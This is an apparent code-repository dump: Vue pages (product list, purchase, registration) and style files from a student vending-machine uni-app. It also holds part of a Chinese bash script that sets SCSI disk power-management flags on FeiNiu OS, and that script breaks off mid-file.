background: #fff7e6;
color: #fa8c16;
border: 1rpx solid #ffd591;
}
.refunded {
background: #f6ffed;
color: #52c41a;
border: 1rpx solid #b7eb8f;
}
.default {
background: #f5f5f5;
color: #8c8c8c;
border: 1rpx solid #d9d9d9;
}
.empty-state {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 60vh;
}
.empty-image {
width: 200rpx;
height: 200rpx;
margin-bottom: 40rpx;
opacity: 0.6;
}
.empty-text {
color: #999;
font-size: 28rpx;
}
</style>
|
2301_82115348/veddingmachine
|
pages/order-list/order-list.vue
|
Vue
|
unknown
| 10,749
|
<template>
<view class="container">
<!-- loading 状态 -->
<view v-if="loading" class="loading-container">
<image src="../../static/loading.gif" class="loading-icon"></image>
<text class="loading-text">加载中...</text>
</view>
<view v-else-if="loaded" v-for="(item,index) in items" :key="item.id" class="product-item-container">
<image :src="item.imageUrl" @error="item.cover = default_path" class="product-item-image"></image>
<view class="product-item-info-container">
<!-- <text>{{ this.baseUrl + item.cover }}</text> -->
<text class="product-item-name"> {{ item.name}} </text>
<text class="product-item-price"> {{item.price}}元 </text>
<text class="product-item-stock"> 剩余{{item.stock}}件 </text>
</view>
<button type="primary" size="mini" @click="onProductItemClicked(index)" class="button">购买</button>
</view>
<view v-else class="error-container">
<image src="/static/error3.png" mode="aspectFit" class="error-icon">
</image>
<text class="error-text">加载商品列表失败</text>
<button class="error-button" @click="fetchProductList()">重试</button>
</view>
</view>
<!-- 悬浮列表 -->
<view class="order-list-container" hover-class="order-list-container-hover" @click="onOrderListButtonClicked()">
<text class="order-list-icon-text">≡</text>
</view>
</template>
<script>
import Product from '../../models/product';
let tag = "product-list";
export default {
onLoad() {
this.fetchProductList()
},
data() {
return {
// login : false,
loading: false,
loaded: true,
default_path: "/static/error1.png",
baseUrl: 'https://vending.neumooc.com/prod-api',
items: []
// items : [
// {
// id : 1,
// name : "可乐",
// price : 3,
// imageUrl : "/static/可乐.png"
// },
// {
// id : 2,
// name : "牛奶",
// price : 5,
// imageUrl : "/static/牛奶.png"
// },
// {
// id : 3,
// name : "雪碧",
// price : 5,
// imageUrl : "https://pic.rmb.bdstatic.com/bjh/events/4531b384e18630fb4a7615d974a7a6e62814.jpeg"
// }
// ]
}
},
methods: {
onOrderListButtonClicked() {
this.$log.info(tag, "onOrderListButtonClicked")
if (this.loginManager.isLoggedIn()) {
this.$log.info(tag, "onOrderListButtonClicked navigate to orderList")
uni.navigateTo({
url: '/pages/order-list/order-list'
})
} else {
this.$log.info(tag, "onOrderListButtonClicked navigate to login")
uni.navigateTo({
url: '/pages/login/login'
})
}
},
onProductItemClicked(index) {
this.$log.info(tag, `onProductItemClicked ${index}`);
// 如果已登录，跳转“购买商品页”
if (this.loginManager.isLoggedIn()) {
this.$log.info(tag, "onProductItemClicked navigate to purchase")
let productJsonString = JSON.stringify(this.items[index])
uni.navigateTo({
url: `/pages/purchase/purchase?product=${encodeURIComponent(productJsonString)}`
})
} else { //如果未登录，跳转“登录页”
this.$log.info(tag, "onProductItemClicked navigate to login")
uni.navigateTo({
url: '/pages/login/login'
})
}
},
fetchProductList() {
this.$log.info(tag, "fetchProductList");
uni.request({
url: `${this.constant.BASE_URL}/api/machine/products`,
method: 'GET',
data: {
'machineNo': this.constant.MACHINE_NO,
},
header: {
'content-type': 'application/x-www-form-urlencoded'
},
success: (res) => {
this.$log.info(tag, "获取商品列表成功");
this.loading = false;
this.loaded = true;
this.items = this.parseProductList(res.data);
},
fail: (error) => {
this.$log.error(tag, "获取商品列表失败");
}
});
},
parseProductList(jsonObject) {
let productList = [];
jsonObject.data.forEach((catagory) => {
catagory.productList.forEach((product) => {
productList.push(new Product(
product.productId,
product.name,
product.price,
`${this.constant.BASE_URL}${product.cover}`,
product.stock
));
});
});
console.log(productList);
return productList;
}
}
}
</script>
<style>
.container {
display: flex;
flex-direction: column;
background-color: #f5f5f5;
min-height: 100vh;
}
.product-item-container {
display: flex;
flex-direction: row;
margin: 20rpx;
padding: 25rpx;
align-items: center;
justify-content: space-between;
background-color: #fff;
border-radius: 20rpx;
box-shadow: 0 2rpx 10rpx rgba(0, 0, 0, 0.05);
transition: transform 0.2s ease;
}
.product-item-container:active {
transform: translateY(2rpx);
box-shadow: 0 1rpx 5rpx rgba(0, 0, 0, 0.03);
}
.product-item-info-container {
display: flex;
flex-direction: column;
margin-left: 20rpx;
flex: 1;
}
.product-item-name {
font-size: 36rpx;
font-weight: 500;
color: #333;
margin-bottom: 10rpx;
}
.product-item-stock {
font-size: 28rpx;
color: #999;
margin-top: 8rpx;
}
.product-item-price {
font-size: 36rpx;
font-weight: 600;
color: #ff3b30;
}
.product-item-image {
width: 160rpx;
height: 160rpx;
border-radius: 16rpx;
object-fit: cover;
}
.loading-container {
height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
background-color: #f5f5f5;
}
.loading-text {
font-size: 40rpx;
color: #999;
margin-top: 30rpx;
}
.loading-icon {
width: 80px;
height: 80px;
}
.error-container {
height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
background-color: #f5f5f5;
padding: 0 40rpx;
text-align: center;
}
.error-icon {
width: 120px;
height: 120px;
opacity: 0.7;
}
.error-text {
color: #666;
font-size: 34rpx;
margin-top: 30rpx;
margin-bottom: 30rpx;
}
.error-button {
font-size: 34rpx;
color: #007aff;
border: 1px solid #007aff;
border-radius: 30rpx;
padding: 20rpx 60rpx;
background-color: transparent;
transition: all 0.2s ease;
}
.error-button:active {
background-color: rgba(0, 122, 255, 0.05);
}
.order-list-container {
position: fixed;
bottom: 50px;
right: 30rpx;
width: 100rpx;
height: 100rpx;
background-color: #007aff;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
box-shadow: 0 6rpx 16rpx rgba(0, 122, 255, 0.3);
transition: all 0.2s ease;
z-index: 99;
}
.order-list-container-hover {
opacity: 0.9;
transform: scale(0.95);
}
.order-list-icon-text {
color: white;
font-size: 70rpx;
font-weight: bold;
padding-bottom: 2px;
}
.button {
padding: 15rpx 30rpx;
background-color: #007aff;
color: #fff;
border-radius: 25rpx;
font-size: 28rpx;
transition: all 0.2s ease;
box-shadow: 0 2rpx 8rpx rgba(0, 122, 255, 0.2);
}
.button:active {
background-color: #0066cc;
transform: scale(0.95);
}
</style>
|
2301_82115348/veddingmachine
|
pages/product-list/product-list.vue
|
Vue
|
unknown
| 7,068
|
<template>
<view class="container">
<image :src="testData.imageUrl" mode="aspectFit" class="product-img"></image>
<text class="product-name">购买1件{{testData.name}}</text>
<text class="product-price">{{testData.price}}元</text>
<button class="pay-btn" @click="onWechatPayButtonClicked()">
<image src="/static/wechat-icon.png" class="wechat-icon"></image>
<text class="pay-btn-text">微信支付</text>
</button>
</view>
</template>
<script>
let tag = 'purchase'
export default {
data() {
return {
testData: ""
}
},
methods: {
onWechatPayButtonClicked() {
this.$log.info(tag, "onWechatPayButtonClicked");
this.createOrder();
},
createOrder() {
this.$log.info(tag, "createOrder");
uni.request({
url: `${this.constant.BASE_URL}/api/order/create4Ma`,
method: 'POST',
header: {
'Authorization': this.loginManager.getToken(),
},
data: {
'amount': 1,
'machineNo': this.constant.MACHINE_NO,
'productId': this.testData.id,
},
success: (res) => {
this.$log.info(tag, JSON.stringify(res.data))
this.$log.info(tag, `createOrder success ${res.data.code}`)
if (res.data.code == 200) {
this.$log.info(tag, "创建成功")
this.payOrder(res.data.orderNo);
}
},
fail: (error) => {
console.error(error);
}
})
},
payOrder(orderNo) {
this.$log.info(tag, `payOrder ${orderNo}`)
uni.request({
url: `${this.constant.BASE_URL}/wxpay/notify/pay/${orderNo}`,
method: 'GET',
success: (res) => {
this.$log.info(tag, "success")
this.$log.info(tag, JSON.stringify(res.data))
if (res.data.code == 200) {
uni.showToast({
icon: 'success',
title: `支付成功${orderNo}`,
duration: 1500
}),
uni.navigateTo({
url: `/pages/order/order?orderNo=${orderNo}`
})
}
},
fail: (err) => {
this.$log.error(tag, err.errMsg)
}
})
}
},
onLoad(parameters) {
this.$log.info(tag, `onLoad`)
let productJSONString = decodeURIComponent(parameters.product)
let product = JSON.parse(productJSONString)
this.testData = product
},
onShow() {
this.$log.info(tag, `onShow`);
},
onReady() {
this.$log.info(tag, `onReady`);
},
onHide() {
this.$log.info(tag, `onHide`);
},
onUnload() {
this.$log.info(tag, `onUnload`);
},
}
</script>
<style>
.container {
padding: 50rpx 30rpx;
display: flex;
flex-direction: column;
align-items: center;
background-color: #f5f5f5;
min-height: 100vh;
}
.product-img {
width: 360rpx;
height: 360rpx;
border-radius: 20rpx;
margin-bottom: 50rpx;
box-shadow: 0 6rpx 20rpx rgba(0, 0, 0, 0.1);
object-fit: cover;
}
.product-name {
font-size: 38rpx;
color: #333;
font-weight: 500;
margin-bottom: 30rpx;
text-align: center;
}
.product-price {
font-size: 44rpx;
color: #ff3b30;
font-weight: 600;
margin-bottom: 80rpx;
padding: 10rpx 20rpx;
background-color: rgba(255, 59, 48, 0.05);
border-radius: 10rpx;
}
.pay-btn {
width: 90%;
background-color: #007aff;
color: #fff;
font-size: 34rpx;
border-radius: 80rpx;
padding: 25rpx 0;
display: flex;
align-items: center;
justify-content: center;
border: none;
box-shadow: 0 6rpx 16rpx rgba(0, 122, 255, 0.25);
transition: all 0.2s ease;
}
.pay-btn::after {
border: none;
}
.pay-btn:active {
background-color: #0066cc;
transform: scale(0.98);
box-shadow: 0 4rpx 10rpx rgba(0, 122, 255, 0.2);
}
.wechat-icon {
width: 44rpx;
height: 44rpx;
margin-right: 20rpx;
vertical-align: middle;
}
.pay-btn-text {
vertical-align: middle;
color: #fff;
font-weight: 500;
}
</style>
|
2301_82115348/veddingmachine
|
pages/purchase/purchase.vue
|
Vue
|
unknown
| 3,782
|
<template>
<view class="page-container">
<!-- 卡片容器 -->
<view class="card">
<view class="title">新用户注册</view>
<view class="form">
<!-- 用户名 -->
<view class="input-item">
<input v-model="userName" type="text" placeholder="请输入用户名" class="input" />
</view>
<!-- 密码 -->
<view class="input-item password-item">
<input v-model="firstPassword" :type="showFirstPassword ? 'text' : 'password'" placeholder="请输入密码"
class="input" @focus="showFirstPasswordToggle = true" @blur="handleFirstPasswordBlur" />
<text class="password-toggle" v-show="showFirstPasswordToggle" @mousedown="handleToggleMouseDown"
@click="toggleFirstPassword">
{{ showFirstPassword ? '👁️' : '🔒' }}
</text>
</view>
<!-- 确认密码 -->
<view class="input-item password-item">
<input v-model="secondPassword" :type="showSecondPassword ? 'text' : 'password'"
placeholder="请再次输入密码" class="input" @focus="showSecondPasswordToggle = true"
@blur="handleSecondPasswordBlur" />
<text class="password-toggle" v-show="showSecondPasswordToggle" @mousedown="handleToggleMouseDown"
@click="toggleSecondPassword">
{{ showSecondPassword ? '👁️' : '🔒' }}
</text>
</view>
<!-- 错误提示 -->
<text class="error" v-if="error">{{ error }}</text>
<!-- 注册按钮 -->
<button class="button register-btn" :loading="isLoading" @click="onRegisterButtonClicked">
注册
</button>
</view>
</view>
</view>
</template>
<script>
let tag = 'register';
export default {
data() {
return {
userName: "",
firstPassword: "",
secondPassword: "",
isLoading: false,
error: "",
showFirstPassword: false,
showSecondPassword: false,
showFirstPasswordToggle: false,
showSecondPasswordToggle: false,
firstPasswordBlurTimer: null,
secondPasswordBlurTimer: null
}
},
methods: {
onRegisterButtonClicked() {
if (this.isLoading) return;
this.$log.info(tag, "onRegisterButtonClicked");
if (!this.userName || !this.firstPassword || !this.secondPassword) {
this.error = "用户名或密码为空";
uni.showToast({
icon: 'none',
title: "用户名或密码为空",
duration: 1500
});
return;
}
if (this.firstPassword !== this.secondPassword) {
this.error = "密码不一致";
uni.showToast({
icon: 'none',
title: "密码不一致",
duration: 1500
});
this.firstPassword = "";
this.secondPassword = "";
return;
}
this.isLoading = true;
this.getCode(this.userName, this.firstPassword);
},
getCode(userName, password) {
this.$log.info(tag, "getCode");
uni.request({
url: `${this.constant.BASE_URL}/api/code`,
method: 'GET',
data: {
password: password,
username: userName
},
success: (res) => {
this.$log.info(tag, "getCode success");
this.$log.info(tag, JSON.stringify(res.data));
this.$log.info(tag, res.data.valid_code);
this.register(userName, password, res.data.valid_code)
},
fail: (err) => {
this.isLoading = false;
this.error = "获取验证码失败";
this.$log.error(tag, "getCode fail: " + err.errMsg);
}
});
},
register(userName, password, valid_code) {
this.$log.info(tag, "register");
uni.request({
url: `${this.constant.BASE_URL}/api/register`,
method: 'POST',
data: {
password: password,
username: userName,
code: valid_code
},
success: (res) => {
this.isLoading = false;
this.$log.info(tag, "register success");
this.$log.info(tag, JSON.stringify(res.data));
if (res.data.code == 200) {
this.$log.info(tag, userName + "注册成功");
uni.showToast({
icon: 'success',
title: res.data.msg || "注册成功",
duration: 1500
});
setTimeout(() => {
uni.navigateTo({
url: '/pages/login/login'
})
}, 1500);
} else {
this.error = res.data.msg || "注册失败";
uni.showToast({
icon: 'none',
title: res.data.msg || "注册失败",
duration: 1500
});
}
},
fail: (err) => {
this.isLoading = false;
this.error = "注册请求失败";
this.$log.error(tag, "register fail: " + err.errMsg);
uni.showToast({
icon: 'none',
title: "注册请求失败",
duration: 1500
});
}
})
},
toggleFirstPassword() {
this.showFirstPassword = !this.showFirstPassword;
},
toggleSecondPassword() {
this.showSecondPassword = !this.showSecondPassword;
},
handleToggleMouseDown(e) {
e.preventDefault();
},
handleFirstPasswordBlur() {
this.firstPasswordBlurTimer = setTimeout(() => {
this.showFirstPasswordToggle = false;
}, 150);
},
handleSecondPasswordBlur() {
this.secondPasswordBlurTimer = setTimeout(() => {
this.showSecondPasswordToggle = false;
}, 150);
}
},
beforeDestroy() {
if (this.firstPasswordBlurTimer) {
clearTimeout(this.firstPasswordBlurTimer);
}
if (this.secondPasswordBlurTimer) {
clearTimeout(this.secondPasswordBlurTimer);
}
}
}
</script>
<style scoped>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
.page-container {
padding: 60rpx 20rpx;
min-height: 100vh;
background-color: #f0f2f5;
display: flex;
justify-content: center;
align-items: flex-start;
}
.card {
width: 100%;
max-width: 500rpx;
background-color: #fff;
border-radius: 20rpx;
padding: 40rpx 20rpx;
box-shadow: 0 4rpx 16rpx rgba(0, 0, 0, 0.08);
}
.title {
text-align: center;
font-size: 38rpx;
font-weight: 600;
color: #1677ff;
margin-bottom: 40rpx;
}
.form {
width: 100%;
}
.input-item {
margin-bottom: 40rpx;
position: relative;
}
.password-item {
display: flex;
align-items: center;
}
.input {
width: 100%;
height: 80rpx;
font-size: 28rpx;
color: #333;
padding: 18rpx 20rpx;
padding-right: 80rpx;
border: 1px solid #e0e0e0;
border-radius: 10rpx;
background-color: #fff;
transition: border-color 0.3s ease;
}
.input:focus {
border-color: #007aff;
outline: none;
box-shadow: 0 0 0 4rpx rgba(0, 122, 255, 0.1);
}
.password-toggle {
position: absolute;
right: 0;
color: #007aff;
font-size: 36rpx;
padding: 20rpx;
cursor: pointer;
user-select: none;
}
.error {
display: block;
color: #ff4d4f;
font-size: 26rpx;
margin: -20rpx 0 40rpx;
height: 30rpx;
}
.button {
width: 100%;
font-size: 32rpx;
font-weight: 500;
border-radius: 10rpx;
margin-bottom: 15rpx;
transition: all 0.2s ease;
height: 90rpx;
display: flex;
justify-content: center;
align-items: center;
border: none;
}
.register-btn {
background-color: #007aff;
color: #fff;
box-shadow: 0 2rpx 8rpx rgba(0, 122, 255, 0.2);
}
.register-btn:active {
background-color: #0066cc;
transform: scale(0.98);
box-shadow: 0 1rpx 4rpx rgba(0, 122, 255, 0.15);
}
</style>
|
2301_82115348/veddingmachine
|
pages/register/register.vue
|
Vue
|
unknown
| 7,190
|
<template>
<view v-if="show">
show为true
</view>
</template>
<script>
export default {
data() {
return {
show: 'true'
}
},
methods: {
}
}
</script>
<style>
</style>
|
2301_82115348/veddingmachine
|
pages/test/test.vue
|
Vue
|
unknown
| 197
|
uni.addInterceptor({
returnValue (res) {
if (!(!!res && (typeof res === "object" || typeof res === "function") && typeof res.then === "function")) {
return res;
}
return new Promise((resolve, reject) => {
res.then((res) => {
if (!res) return resolve(res)
return res[0] ? reject(res[0]) : resolve(res[1])
});
});
},
});
|
2301_82115348/veddingmachine
|
uni.promisify.adaptor.js
|
JavaScript
|
unknown
| 373
|
/**
* 这里是uni-app内置的常用样式变量
*
* uni-app 官方扩展插件及插件市场（https://ext.dcloud.net.cn）上很多三方插件均使用了这些样式变量
* 如果你是插件开发者，建议你使用scss预处理，并在插件代码中直接使用这些变量（无需 import 这个文件），方便用户通过搭积木的方式开发整体风格一致的App
*
*/
/**
* 如果你是App开发者（插件使用者），你可以通过修改这些变量来定制自己的插件主题，实现自定义主题功能
*
* 如果你的项目同样使用了scss预处理，你也可以直接在你的 scss 代码中使用如下变量，同时无需 import 这个文件
*/
/* 颜色变量 */
/* 行为相关颜色 */
$uni-color-primary: #007aff;
$uni-color-success: #4cd964;
$uni-color-warning: #f0ad4e;
$uni-color-error: #dd524d;
/* 文字基本颜色 */
$uni-text-color:#333;//基本色
$uni-text-color-inverse:#fff;//反色
$uni-text-color-grey:#999;//辅助灰色，如加载更多的提示信息
$uni-text-color-placeholder: #808080;
$uni-text-color-disable:#c0c0c0;
/* 背景颜色 */
$uni-bg-color:#ffffff;
$uni-bg-color-grey:#f8f8f8;
$uni-bg-color-hover:#f1f1f1;//点击状态颜色
$uni-bg-color-mask:rgba(0, 0, 0, 0.4);//遮罩颜色
/* 边框颜色 */
$uni-border-color:#c8c7cc;
/* 尺寸变量 */
/* 文字尺寸 */
$uni-font-size-sm:12px;
$uni-font-size-base:14px;
$uni-font-size-lg:16px;
/* 图片尺寸 */
$uni-img-size-sm:20px;
$uni-img-size-base:26px;
$uni-img-size-lg:40px;
/* Border Radius */
$uni-border-radius-sm: 2px;
$uni-border-radius-base: 3px;
$uni-border-radius-lg: 6px;
$uni-border-radius-circle: 50%;
/* 水平间距 */
$uni-spacing-row-sm: 5px;
$uni-spacing-row-base: 10px;
$uni-spacing-row-lg: 15px;
/* 垂直间距 */
$uni-spacing-col-sm: 4px;
$uni-spacing-col-base: 8px;
$uni-spacing-col-lg: 12px;
/* 透明度 */
$uni-opacity-disabled: 0.3; // 组件禁用态的透明度
/* 文章场景相关 */
$uni-color-title: #2C405A; // 文章标题颜色
$uni-font-size-title:20px;
$uni-color-subtitle: #555555; // 二级标题颜色
$uni-font-size-subtitle:26px;
$uni-color-paragraph: #3F536E; // 文章段落颜色
$uni-font-size-paragraph:15px;
|
2301_82115348/veddingmachine
|
uni.scss
|
SCSS
|
unknown
| 2,217
|
#!/bin/bash
# 飞牛OS磁盘管理部署脚本（带交互流程+业务脚本功能裁剪+卸载恢复）
# 终端颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BOLD='\033[1m'
NC='\033[0m'
# 路径常量 - 修改业务脚本路径为/usr/local/bin/
SERVICE_SCRIPT="/usr/local/bin/scsi-disk-manager"
UDEV_RULE="/etc/udev/rules.d/99-scsi-disk-trigger.rules"
SYSTEMD_SERVICE="/etc/systemd/system/scsi-disk-manager.service"
LOG_DIR="/vol1/1000/_HDDlog"
LOG_FILE="$LOG_DIR/scsi-disk-manager.log"
# 权限检查
if [[ $EUID -ne 0 ]]; then
echo "【权限错误】需root权限运行，可在指令前面加sudo临时提权"
exit 1
fi
# 交互流程1：重要提示
interactive_step1() {
clear
echo -e "${BOLD}${RED}【重要提示】${NC}"
echo -e "${BOLD}此脚本会${RED}强制启用${NC}${BOLD}所选功能，新插入磁盘会自动触发，且涉及${RED}所有磁盘${NC}${BOLD}的配置！${NC}"
echo -e "${BOLD}脚本功能会对休眠硬盘、冷备盘造成影响！${RED}有硬盘休眠需求或冷备盘的谨慎配置${NC}${BOLD}，以免造成磁盘电源管理冲突。${NC}"
echo -e "飞牛系统的储存空间1通常挂载为/vol1/1000，此目录正常挂载是部署的前置条件。业务脚本触发时会向储存空间1/_HDDlog目录）写入日志而影响储存空间1休眠。仅储存空间1长期的用户推荐使用。"
echo -e "脚本为作者使用AI工具生成的。自用自测飞牛0.9.32版可适用，其他版本不作测试，分享仅作交流学习。"
echo -e "${BOLD}${RED}脚本是否产生其他未知问题不作测试，由此产生的风险及问题请自行承担！${NC}"
echo -e "或尝试重新运行原始脚本进行卸载清理，卸载时会将所有磁盘所有功能配置关键值强制改为0（禁用）。注意：此前未部署过脚本也会强制修改为0。未能恢复尝试关机断电后再开机查看是否解决问题。"
echo -e "\n${BOLD}【请选择安装或卸载】${NC}"
echo "1. 安装并开启磁盘管理配置（生成业务脚本+systemd开机自启＋udev自动触发）"
echo "2. 一键卸载（将所有磁盘所有功能配置关键值强制改为0（禁用）注意：此前未使用过脚本也会强制修改为0。清理所有相关文件）"
echo -e "\n${YELLOW}操作说明：单选1或2，无操作2分钟后自动退出，按ctrl+c中断退出${NC}"
while true; do
read -t 120 OPTION
if [ $? -ne 0 ]; then
echo -e "\n${RED}2分钟无操作，自动退出${NC}"
exit 0
fi
if [ "$OPTION" = "1" ] || [ "$OPTION" = "2" ]; then
break
else
echo -e "${RED}无效选项，请重新输入1或2${NC}"
fi
done
# 若选择卸载，执行卸载流程；选择安装，继续后续功能选择
if [ "$OPTION" = "2" ]; then
uninstall
else
interactive_step2
fi
}
# 卸载函数（含配置改0，删除日志清理）
uninstall() {
# 卸载前二次确认
clear
echo -e "${BOLD}${RED}【卸载二次确认】${NC}"
echo -e "${BOLD}此操作会执行：${NC}"
echo "将所有磁盘的功能配置关键位强制修改为0，注意：此前未使用过脚本也会强制修改为0。"
echo "清理systemd服务、"
echo "清理udev规则、"
echo "清理业务脚本、"
echo "清理脚本日志目录"
echo -e "\n${YELLOW}确认卸载请输入y，返回上一步请输入n，2分钟无操作将退出${NC}"
while true; do
read -t 120 CONFIRM_UNINSTALL
if [ $? -ne 0 ]; then
echo -e "\n${RED}2分钟无操作，自动退出${NC}"
exit 0
fi
if [ "$CONFIRM_UNINSTALL" = "y" ] || [ "$CONFIRM_UNINSTALL" = "Y" ]; then
break
elif [ "$CONFIRM_UNINSTALL" = "n" ] || [ "$CONFIRM_UNINSTALL" = "N" ]; then
interactive_step1
return
else
echo -e "${RED}输入无效，请输入y确认卸载或n返回上一步${NC}"
fi
done
# 原卸载逻辑（恢复配置+清理组件）
echo -e "\n${BOLD}【卸载步骤1：所有磁盘恢复所有功能配置关键值改为0】${NC}"
for disk_dir in /sys/class/scsi_disk/*; do
[[ -d "$disk_dir" ]] || continue
disk_scsi_id=$(basename "$disk_dir")
echo "恢复磁盘$disk_scsi_id的配置..."
for func in "manage_runtime_start_stop" "manage_shutdown" "manage_system_start_stop"; do
file_path="$disk_dir/$func"
if [[ -f "$file_path" && $(cat "$file_path") -eq 1 ]]; then
echo 0 > "$file_path"
echo " - 已改$func为0"
fi
done
done
echo -e "\n${BOLD}【卸载步骤2：清理组件】${NC}"
# 1. 清理systemd服务
if [ -f "$SYSTEMD_SERVICE" ]; then
# 先停止服务（若正在运行）
if systemctl is-active --quiet scsi-disk-manager.service; then
systemctl stop scsi-disk-manager.service
fi
# 关键修改：捕获 systemctl disable 的输出，判断是否删除开机自启链接
echo "正在禁用systemd服务开机自启..."
DISABLE_OUTPUT=$(systemctl disable scsi-disk-manager.service 2>&1) # 捕获 stdout 和 stderr
if echo "$DISABLE_OUTPUT" | grep -q "Removed"; then
# 捕捉到 Removed 提示，说明开机自启链接已成功删除
echo " - 已成功删除 scsi-disk-manager 服务的开机自启链接"
else
# 未捕捉到，提示可能未删除（可能本身未启用开机自启，或链接不存在）
echo " - 未检测到开机自启链接（可能已删除或未启用），跳过链接删除"
fi
# 删除服务文件
rm -f "$SYSTEMD_SERVICE"
systemctl daemon-reload
echo "1. 已清理systemd服务"
else
echo "1. systemd服务文件不存在，跳过清理"
fi
# 2. 清理udev规则
if [ -f "$UDEV_RULE" ]; then
rm -f "$UDEV_RULE"
udevadm control --reload-rules
echo "2. 已清理udev规则"
else
echo "2. udev规则文件不存在，跳过清理"
fi
# 3. 清理业务脚本（同步更新路径）
if [ -f "$SERVICE_SCRIPT" ]; then
rm -f "$SERVICE_SCRIPT"
echo "3. 已清理业务脚本"
else
echo "3. 业务脚本不存在，跳过清理"
fi
# 4. 清理日志目录（自定义日志）
if [ -d "$LOG_DIR" ]; then
rm -rf "$LOG_DIR"
echo "4. 已清理自定义日志目录"
else
echo "4. 自定义日志目录不存在，跳过清理"
fi
echo -e "\n${GREEN}✅ 【卸载完成】所有磁盘的配置关键值已改为0，组件已清理${NC}"
exit 0
}
# 交互流程2：功能项选择
interactive_step2() {
clear
echo -e "${BOLD}【功能选择详细说明】${NC}"
echo -e "请注意阅读详细说明，同意后按需选择！"
echo -e "此脚本3项功能配置是针对硬盘的运行/关机/系统层面的管理策略开关，0和1代表“禁用/启用”对应功能："
echo -e "\n${BOLD}【功能1】. manage_runtime_start_stop（运行时休眠/唤醒管理）${NC}"
echo -e "• 功能作用：控制硬盘在系统运行过程中的休眠、唤醒逻辑。${RED}不知道啥逻辑，只知道开启会强制保持硬盘活跃。${NC}"
echo -e "• 脚本会修改关键值为1（启用）：硬盘运行时电源管理；0（禁用）：系统/其他工具控制。"
echo -e "\n${BOLD}${GREEN}【功能2】. manage_shutdown（关机安全断电管理）${YELLOW}建议仅选择2${NC}"
echo -e "• 功能作用：控制硬盘在系统关机/重启阶段的断电逻辑（确保数据同步、安全断电）。"
echo -e "• 脚本会修改关键值为1（启用）：安全断电步骤；0（禁用）：系统默认流程。"
echo -e "\n${BOLD}【功能3】. manage_system_start_stop（系统层面启停管理）${NC}"
echo -e "• 功能作用：控制硬盘在系统启动/停止服务阶段的状态（自动初始化、重置）。（${RED}开启可能影响冷备盘${NC}）"
echo "• 脚本会修改关键值为1（启用）：初始化操作；0（禁用）：系统默认流程。"
echo -e "\n${YELLOW}请注意阅读详细说明，同意后按需选择！${NC}"
# 修改点1：提示中增加“输入n返回上一步”
echo -e "\n${YELLOW}请按需输入要强制启用的功能：1 2 3（可多选，用空格分隔），输入n返回上一步。按ctrl+c中断退出，5分钟无操作自动退出${NC}${RED}建议仅选择2即可解决关机硬盘异响，硬盘不安全断电次数增加的问题${NC}"
# 功能选择验证（增加n返回上一步逻辑和非空检查）
while true; do
read -t 300 SELECTED_FUNCS
if [ $? -ne 0 ]; then
echo -e "\n${RED}5分钟无操作，自动退出${NC}"
exit 0
fi
# 新增：输入n或N返回上一步
if [ "$SELECTED_FUNCS" = "n" ] || [ "$SELECTED_FUNCS" = "N" ]; then
interactive_step1
return
fi
# 新增：检查是否为空输入（纯空格或无输入）
if [ -z "$SELECTED_FUNCS" ] || [[ "$SELECTED_FUNCS" =~ ^[[:space:]]+$ ]]; then
echo -e "${RED}输入不能为空！请至少选择一个功能（1/2/3），或输入n返回上一步${NC}"
continue
fi
# 验证输入有效性（仅允许1/2/3和空格）
VALID=1
for func in $SELECTED_FUNCS; do
if [[ ! "$func" =~ ^[123]$ ]]; then
VALID=0
break
fi
done
if [ $VALID -eq 1 ]; then
break
else
echo -e "${RED}输入无效！请输入1或2或3（可多选，空格分隔），或输入n返回上一步${NC}"
fi
done
interactive_step4 "$SELECTED_FUNCS"
}
# 交互流程4：确认选择
interactive_step4() {
local SELECTED_FUNCS=$1
echo -e "${BOLD}【已选功能确认】${NC}"
echo "你选择启用的功能：$SELECTED_FUNCS 最后声明：仅选2即可解决硬盘安全关机问题，最后确认！！！"
echo -e "\n${YELLOW}确认继续输入y，返回上一步输入n${NC}"
while true; do
read -t 60 CONFIRM
if [ $? -ne 0 ]; then
echo -e "\n${RED}60秒无操作，自动退出${NC}"
exit 0
fi
case "$CONFIRM" in
y|Y)
# 确认继续，执行部署
deploy "$SELECTED_FUNCS"
break
;;
n|N)
interactive_step2
return
;;
*)
echo -e "${RED}输入无效，请输入y（继续）或n（返回上一步）${NC}"
;;
esac
done
}
# 部署函数
deploy() {
local SELECTED_FUNCS=$1
# 映射功能选择到配置项
declare -A FUNC_MAP=(
["1"]="manage_runtime_start_stop:运行时休眠/唤醒管理"
["2"]="manage_shutdown:关机安全断电管理"
["3"]="manage_system_start_stop:系统层面启停管理"
)
SELECTED_FUNC_LIST=()
for func in $SELECTED_FUNCS; do
SELECTED_FUNC_LIST+=("${FUNC_MAP[$func]}")
done
# 部署步骤1/4，前置检查：/vol1/1000挂载状态（生成业务脚本前最后验证）
echo -e "\n${BOLD}【部署步骤1/4:检查/vol1/1000挂载状态】${NC}"
if [ ! -d "/vol1/1000" ]; then
echo -e "${RED}/vol1/1000 未挂载，无法创建_HDDlog日志目录，部署终止！${NC}"
echo -e "${YELLOW}说明：此目录为脚本前置条件，飞牛系统通常会自动把储存空间1挂载为/vol1/1000，出现这个问题可能是未创建储存空间1，或储存空间不是挂载此目录。可先创建储存空间1，或先手动挂载数据盘到/vol1/1000（如 sudo mount /dev/xxx（盘符） /vol1/1000），再重新执行脚本。${NC}"
exit 1
else
echo -e "\n${GREEN}✅ 检测到/vol1/1000 已挂载，继续生成服务脚本${NC}\n"
sleep 1
fi
# 若业务脚本存在，在生成业务脚本前添加覆盖提示：
if [ -f "$SERVICE_SCRIPT" ]; then
echo -e "${YELLOW}提示：$SERVICE_SCRIPT 已存在，即将覆盖${NC}"
fi
# 步骤1/3：动态生成服务脚本（按选择的功能裁剪）
echo -e "${BOLD}【部署步骤2/4：生成业务脚本】${NC}"
cat > "$SERVICE_SCRIPT" <<EOF
#!/bin/bash
# 飞牛OS磁盘管理业务脚本（裁剪版）
AUTO_TRIGGER=\${AUTO_TRIGGER:-false}
LOG_DIR="$LOG_DIR"
LOG_FILE="$LOG_FILE"
SERVICE_PATH="$SERVICE_SCRIPT" # 同步更新业务脚本路径变量
# 5秒等待
if [ "\$AUTO_TRIGGER" = "false" ]; then
